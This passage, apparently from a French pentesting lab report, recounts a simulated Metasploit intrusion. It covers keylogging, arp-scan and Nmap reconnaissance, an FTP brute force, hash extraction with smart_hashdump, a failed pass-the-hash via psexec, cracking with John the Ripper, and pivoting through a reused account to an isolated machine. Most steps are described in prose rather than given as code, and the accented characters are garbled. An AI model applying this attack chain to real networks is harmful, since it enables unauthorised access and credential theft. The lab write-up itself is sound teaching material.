Ensuite, le pirate dĂ©place Ă lâaide de la commande mv le document dans le dossier partagĂ© entre sa machine virtuelle Kali Linux et son ordinateur hĂŽte sous Windows 11.
$ mv Document_confidentiel.rtf /media/sf_METASPLOIT6
Le document au format .rtf a Ă©tĂ© correctement transfĂ©rĂ© sur la machine hĂŽte grĂące au dossier partagĂ© configurĂ© entre la machine virtuelle Kali Linux et lâhĂŽte Windows 11.
Une fois le fichier transfĂ©rĂ© sur la machine hĂŽte, le pirate lâouvre avec son Ă©diteur de texte OpenOffice afin dâen prendre connaissance.
AprÚs avoir compromis la machine Windows, le hacker a obtenu des informations déterminantes
grùce à un enregistreur de frappes. Dans l'échange capturé, un salarié de l'entreprise précisait dans un document texte
la présence d'un document hautement confidentiel sur une machine Linux non reliée au réseau
.
Un scanner du rĂ©seau interne a Ă©tĂ© rĂ©alisĂ© par le hacker Ă lâaide de lâoutil arp-scan, afin dâidentifier les hĂŽtes actifs. Lâobjectif Ă©tait dâenvoyer des requĂȘtes ARP et dâobtenir, pour chaque machine dĂ©tectĂ©e, son adresse IP et son adresse MAC. Ce scan a confirmĂ© l'existence d'une machine sur un rĂ©seau diffĂ©rent.
Pour accéder à cette machine, le hacker a procédé comme suit :
La premiĂšre attaque Brute Force entreprise par le hacker sur le serveur FTP de lâordinateur Ă©tait bien trop lente. AprĂšs 48 heures dâexĂ©cution, le hacker opta pour une autre cible, un serveur Tomcat. Cependant, lâopĂ©ration fut interrompue avant son dĂ©marrage. Un scan Nmap rĂ©alisĂ© par le hacker rĂ©vĂ©la que le port 8180 avait le statut filtered, ce qui laisse supposer que l'accessibilitĂ© du port est bloquĂ©e par un pare-feu.
Le hacker tenta alors une nouvelle approche: lâextraction des hachages de mots de passe de la
machine Windows Server 2008 R2 Standard (machine compromise), via le module smart_hashdump. Lâobjectif Ă©tait
dâappliquer la technique pass the hash
. Cette mĂ©thode exploite, selon les auteurs de l'ouvrage Metasploit: The Penetration Testerâs Guide, 2nd edition,
une faiblesse du protocole NTLM, qui permet dâutiliser directement les hachages en lieu et place des mots de passe pour sâauthentifier.
Le module windows/smb/psexec fut utilisĂ© par le hacker pour mettre en Ćuvre cette technique, mais l'entreprise se solda par un Ă©chec.
Pour parvenir à ses fins, il eut recours au célÚbre logiciel de cassage de mots de passe, John the Ripper.
Il commença par rĂ©cupĂ©rer les identifiants trouvĂ©s et associĂ©s aux machines ciblĂ©es, via la commande creds, avant de les soumettre au logiciel. La sortie produite par le programme permit au hacker d'identifier que trois entrĂ©es correspondaient Ă la machine cachĂ©e (192.168.100.3). AprĂšs avoir cassĂ© les mots de passe, il constata que lâutilisateur vagrant Ă©tait prĂ©sent Ă la fois sur Windows 2008 (10.10.10.2) et sur la machine cachĂ©e. Le hacker se servit de ce compte pour se connecter au bureau Ă distance de Windows 2008 et ainsi accĂ©der au serveur FTP interne.
Depuis sa session Meterpreter, le pirate procéda comme suit :
Cette simulation met en Ă©vidence la complexitĂ© de la mise en place dâun laboratoire de pentesting et les difficultĂ©s rencontrĂ©es dans ce type dâopĂ©ration. Dans un contexte rĂ©el, un pirate nâexĂ©cuterait probablement pas ces actions manuellement: par souci de rapiditĂ© et pour rĂ©duire les risques de dĂ©tection, il privilĂ©gierait lâemploi de scripts automatisĂ©s, adaptĂ©s aux rĂ©sultats obtenus au fil des attaques.
âŹ ïž Revenir au menu du rapport